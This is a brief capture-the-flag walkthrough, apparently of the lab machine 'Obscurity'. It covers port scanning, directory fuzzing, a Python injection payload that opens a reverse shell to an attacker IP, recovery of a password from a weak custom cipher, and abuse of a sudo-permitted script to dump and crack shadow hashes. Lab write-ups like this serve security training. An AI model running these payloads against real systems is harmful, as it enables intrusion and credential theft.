Lin: Obscurity

```
# Nmap 7.80 scan initiated Mon Mar  9 07:37:40 2020 as: nmap -sC -sV -oA nmapscan
-vvvvvv 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up, received echo-reply ttl 63 (0.080s latency).
Scanned at 2020-03-09 07:37:40 EDT for 33s
Not shown: 996 filtered ports
Reason: 996 no-responses
PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)

80/tcp   closed http       reset ttl 63

8080/tcp open   http-proxy syn-ack ttl 63 BadHTTPServer

9000/tcp closed cslistener reset ttl 63

1 service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
```

```
wfuzz --hc=404 -c  -w /usr/share/dirb/wordlists/common.txt http://10.10.10.168:8080/FUZZ/
SuperSecureServer.py

0001245:   200        170 L    498 W    5892 Ch     "develop"
000001874:   404        6 L      14 W     176 Ch      "harming"                              ^C
Finishing pending requests...
```

http://obscure.htb:8080/develop/SuperSecureServer.py

```
http://
obscure.htb:8080/';import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket
.SOCK_STREAM);s.connect(('10.10.14.9',7771));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);
%20os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);x%20=%20'1%22
```

```
';import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('1
0.10.14.9',7771));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);x = '1"
```

```
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
```

reverse encrypt the file

```
python3 SuperSecureCrypt.py -o hesham2.txt -i out.txt -k check.txt -d
```

```
python3 SuperSecureCrypt.py -o hesham2.txt -i out.txt -k "Encrypting this file with your key
should result in out.txt, make sure your key is correct!" -d
```

alexandrovich

```
python3 SuperSecureCrypt.py -o hesham3.txt -i passwordreminder.txt -k "alexandrovich" -d
SecThruObsFTW

e4493782066b55fe2755708736ada2d7

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

python3 BetterSSH.py
robert
SecThruObsFTW
```

with sudo -l
we find this

we can run this as root

```
sudo  /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
```

create /tmp/SSH
run it username = root , any password ,and CTRL c after entering the password

```
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$IfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
```

crack with john
get password
mercedes

```
su root
512fd4429f33a113a44d5acde23609e3
```